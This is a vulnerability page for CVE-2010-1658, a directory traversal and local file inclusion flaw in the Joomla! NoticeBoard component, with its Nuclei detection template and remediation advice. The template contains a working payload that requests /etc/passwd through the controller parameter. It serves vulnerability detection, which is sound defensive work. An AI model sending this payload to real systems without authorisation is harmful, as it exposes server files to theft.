CVE-2010-1658· code-garage / com noticeboard· CWE-22
Joomla! Component NoticeBoard 1.3 - Local File Inclusion
A directory traversal vulnerability in the Code-Garage NoticeBoard (com_noticeboard) component 1.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
Impact
Successful exploitation of this vulnerability can allow an attacker to read arbitrary files on the server, potentially leading to unauthorized access, sensitive information disclosure, or further attacks.
Fix
Update to the latest version of Joomla! Component NoticeBoard or apply the necessary patches to fix the LFI vulnerability.
How to confirm it
Send: GET {{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2010-1658 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2010-1658
info:
name: Joomla! Component NoticeBoard 1.3 - Local File Inclusion
author: daffainfo
severity: medium
description: A directory traversal vulnerability in the Code-Garage NoticeBoard (com_noticeboard) component 1.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
impact: |
Successful exploitation of this vulnerability can allow an attacker to read arbitrary files on the server, potentially leading to unauthorized access, sensitive information disclosure, or further attacks.
remediation: |
Update to the latest version of Joomla! Component NoticeBoard or apply the necessary patches to fix the LFI vulnerability.
reference:
- https://www.exploit-db.com/exploits/12427
- https://nvd.nist.gov/vuln/detail/CVE-2010-1658
- http://www.vupen.com/english/advisories/2010/1007
- https://exchange.xforce.ibmcloud.com/vulnerabilities/58176
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2010-1658
cwe-id: CWE-22
epss-score: 0.16014
epss-percentile: 0.96937
cpe: cpe:2.3:a:code-garage:com_noticeboard:1.3:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: code-garage
product: com_noticeboard
tags: cve,cve2010,joomla,lfi,edb,code-garage,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/12427
- https://nvd.nist.gov/vuln/detail/CVE-2010-1658
- http://www.vupen.com/english/advisories/2010/1007
- https://exchange.xforce.ibmcloud.com/vulnerabilities/58176
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from